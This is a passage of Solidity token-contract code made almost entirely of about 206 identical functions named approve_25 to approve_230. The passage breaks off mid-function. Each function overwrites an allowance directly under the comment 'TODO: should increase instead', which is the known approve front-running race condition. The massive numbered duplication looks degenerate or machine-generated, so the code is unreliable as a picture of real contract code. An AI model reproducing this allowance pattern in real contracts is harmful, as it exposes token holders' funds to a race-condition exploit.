msg.sender, spender, value ); return true; } function approve_25(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_26(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_27(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_28(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_29(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_30(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_31(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_32(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_33(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_34(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_35(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_36(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_37(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_38(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_39(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_40(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_41(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_42(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_43(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_44(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_45(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_46(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_47(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_48(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_49(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_50(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_51(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_52(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_53(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_54(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_55(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_56(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_57(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_58(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_59(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_60(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_61(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_62(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_63(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_64(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_65(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_66(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_67(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_68(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_69(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_70(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_71(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_72(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_73(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_74(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_75(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_76(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_77(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_78(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_79(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_80(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_81(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_82(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_83(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_84(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_85(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_86(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_87(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_88(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_89(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_90(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_91(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_92(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_93(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_94(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_95(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_96(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_97(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_98(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_99(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_100(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_101(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_102(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_103(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_104(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_105(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_106(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_107(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_108(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_109(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_110(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_111(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_112(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_113(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_114(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_115(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_116(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_117(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_118(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_119(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_120(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_121(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_122(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_123(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_124(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_125(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_126(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_127(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_128(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_129(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_130(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_131(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_132(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_133(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_134(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_135(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_136(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_137(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_138(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_139(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_140(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_141(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_142(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_143(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_144(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_145(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_146(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_147(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_148(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_149(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_150(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_151(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_152(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_153(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_154(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_155(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_156(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_157(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_158(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_159(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_160(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_161(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_162(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_163(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_164(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_165(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_166(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_167(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_168(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_169(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_170(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_171(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_172(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_173(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_174(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_175(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_176(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_177(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_178(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_179(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_180(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_181(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_182(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_183(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_184(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_185(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_186(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_187(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_188(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_189(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_190(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_191(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_192(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_193(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_194(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_195(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_196(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_197(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_198(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_199(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_200(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_201(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_202(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_203(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_204(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_205(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_206(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_207(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_208(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_209(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_210(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_211(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_212(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_213(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_214(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_215(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_216(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_217(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_218(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_219(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_220(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_221(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_222(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_223(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_224(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_225(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_226(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_227(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_228(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_229(address spender, uint value) public returns (bool ok) { // TODO: should increase instead _approvals[msg.sender][spender] = value; emit Approval( msg.sender, spender, value ); return true; } function approve_230(address spender, uint value) public returns 